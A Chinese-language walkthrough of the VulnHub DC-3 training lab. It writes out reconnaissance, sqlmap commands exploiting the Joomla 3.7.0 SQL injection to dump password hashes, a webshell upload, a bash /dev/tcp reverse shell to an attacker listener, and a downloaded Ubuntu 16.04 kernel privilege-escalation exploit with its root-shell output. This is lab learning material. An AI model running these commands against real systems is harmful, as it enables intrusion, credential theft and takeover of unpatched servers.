VulnHub_DC-3

DC-3 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

与之前的 DC 版本一样,这个版本是为初学者设计的,尽管这一次只有一个flag、一个入口点并且根本没有任何线索。

必须具备 Linux 技能和熟悉 Linux 命令行,以及一些使用基本渗透测试工具的经验。

对于初学者,Google 可以提供很大的帮助,但您可以随时通过 @DCAU7 向我发送推文以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

对于那些有过 CTF 和 Boot2Root 挑战经验的人来说,这可能根本不会花费您很长时间(事实上,它可能会花费您不到 20 分钟的时间)。

如果是这样的话,并且如果你想让它更具挑战性,你可以随时重做挑战并探索其他获得根和旗帜的方法。

探测靶机

nmap 192.168.157.0/24
nmap -sV -A -p- 192.168.157.144

检测一下网站的框架,为Joomla框架

joomscan扫描

用Joomla专门的CMS扫描器扫描

joomscan --url http://192.168.157.144

发现Joomla的版本为 3.7.0

查询漏洞信息

查看是否有相关漏洞信息

searchsploit Joomla 3.7.0

有个SQL的漏洞,查看详细信息

searchsploit -x  php/webapps/42033.txt

接下来按着打就行

sqlmap攻击

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -batch

查表

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  --tables -p list[fullordering] -batch

查看#__users表里面的内容

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' --columns -p list[fullordering]

查询username、password字段里面的内容

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C 'username,password' --dump -p list[fullordering] -batch

john爆破密码

把密码写入pass.txt,用john爆破一下秒出

john pass.txt

登入后台文件上传

登入后台,网址是之前扫描到的 http://192.168.157.144/administrator/

找到文件上传的位置,新建一个shell.php

shell.php的路径为

http://192.168.157.144/templates/beez3/html/shell.php

蚁剑连接

反弹shell

反弹shell是为了后面的提权做准备,蚁剑是一个基于HTTP的临时连接工具,连接易中断,不适合进行提权这种需要持续交互输入命令的操作。所以蚁剑的作用就在于上传文件来提权。

kali开启监听

nc -lnvp 9999

在蚁剑的终端

bash -c 'bash -i >& /dev/tcp/192.168.157.131/9999 0>&1'

再次访问一下shell.php,监听成功

现在需要的是从www-data权限提权到root

Ubuntu 16.04提权漏洞

获取当前操作系统的版本信息

cat /proc/version

获取当前操作系统的发行版信息

cat /etc/issue

查找一下Ubuntu 16.04的提权漏洞

searchsploit Ubuntu 16.04

这里选用这个漏洞,查看详细信息

searchsploit -x  php/webapps/39772.txt

按着打,先去github下载攻击压缩包

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

.......原文件没了,找到了别的师傅上传的

https://github.com/p4sschen/ubuntu16-39772.zip-exp

用蚁剑在对应目录上传 39772.zip

在监听端查看发现上传成功后接着exp打

unzip 39772.zip  #解压29772.zip文件
cd 39772
tar -xvf exploit.tar #解压exploit提权脚本tar包
cd ebpf_mapfd_doubleput_exploit

执行代码,进行提权,获取root权限

./compile.sh
./doubleput

starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.

suid file detected, launching rootshell...

we have root privs now...

等待片刻后取得root权限,我比较喜欢反弹一个完整的shell环境

python -c 'import pty;pty.spawn("/bin/bash")'

取得flag

查找发现flag文件位置,取得flag

VulnHub_DC-3渗透流程的更多相关文章

  1. 『安全科普』WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  2. 【转】WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  3. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  6. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  7. metasploit 教程之基本参数和扫描

    前言 首先我也不知道我目前的水平适不适合学习msf. 在了解一些msf之后,反正就是挺想学的.就写博记录一下.如有错误的地方,欢迎各位大佬指正. 感激不尽.! 我理解的msf msf全程metaspl ...

  8. Metasploit 学习

    知识准备:CCNA/CCNP基础计算机知识框架:操作系统.汇编.数据库.网络.安全 木马.灰鸽子.口令破解.用后门拷贝电脑文件 渗透测试工程师 penetration test engineer &l ...

  9. Web安全工程师(进阶)课程表

    01-SQL注入漏洞原理与利用 预备知识: 了解HTTP协议,了解常见的数据库.脚本语言.中间件.具备基本的编程语言基础. 授课大纲: 第一章:SQL注入基础 1.1 Web应用架构分析1.2 SQL ...

  10. 利用Axis2默认口令安全漏洞入侵WebService网站

    近期,在黑吧安全网上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展.黑吧安全网Axis2默认口令 ...

随机推荐

  1. WEB服务与NGINX(8)-NGINX的长连接功能

    1. 长连接配置 keepalive_timeout; 定义客户端保持连接超时时长,0表示禁止长连接,默认为65s,建议使用15s即可. 在ngx_http_upstream_module中也有此项设 ...

  2. Ubuntu 上安装 Docker

    步骤 1:删除任何现有的 Docker 包 但在跳到安装部分之前,有必要删除所有以前安装的 Docker. 要 卸载以前的 Docker,请使用以下命令. sudo apt remove docker ...

  3. C 语言编程 — 输入/输出与文件操作

    目录 文章目录 目录 前文列表 输入/输出 scanf() 和 printf() getchar() 和 putchar() 文件操作 打开文件 关闭文件 写入文件 读取文件 二进制 I/O 函数 前 ...

  4. Redis高可用三(Redis Cluster集群)

    Redis高可用三(Redis Cluster集群) 参考博文1:https://blog.csdn.net/qq_40298351/article/details/102669146 参考博文2:h ...

  5. Uni-app极速入门(一) - 第一个小程序

    Uni-app 介绍 官网:https://www.dcloud.io/index.html uni-app是为js开发者提供的一个全端开发框架,可以开发一次编译为web.App.小程序(微信/阿里/ ...

  6. UIView AutoLayout WrapContent,UIview 实现自动包裹

    一.需求 实现一个UI组件,要求组件内部的内容变化的时候,内容需要同时产生变化 二.实现 效果: 一个三个元素的组件,两边固定大小,中间的Label内容会变化 实现的约束: 首先保证三个元素同时居中, ...

  7. k8s——istio

    安装istio Istio / 入门 [root@master ~]# curl -L https://istio.io/downloadIstio | sh - % Total % Received ...

  8. centos os7 和redhat 7 安装yum源失败的解决办法

    首先看我的报错 [Errno 14] curl#6 - "Could not resolve host: mirrors.aliyun.com; Unknown error" yu ...

  9. Java StringBuffer 与StringBuilder 类的介绍与区别

    目录 StringBuffer类(用来解决String类的内存浪费问题) 构造方法 public StringBuffer(); 无参构造 public StringBuffer( String ); ...

  10. 采用Dapr 的IoT 案例

    CNCF 发布了一篇Dapr 的IoT 案例:Tempestive uses Dapr and K8s to track IoT messages | CNCF.Tempestive 是一家物联网解决 ...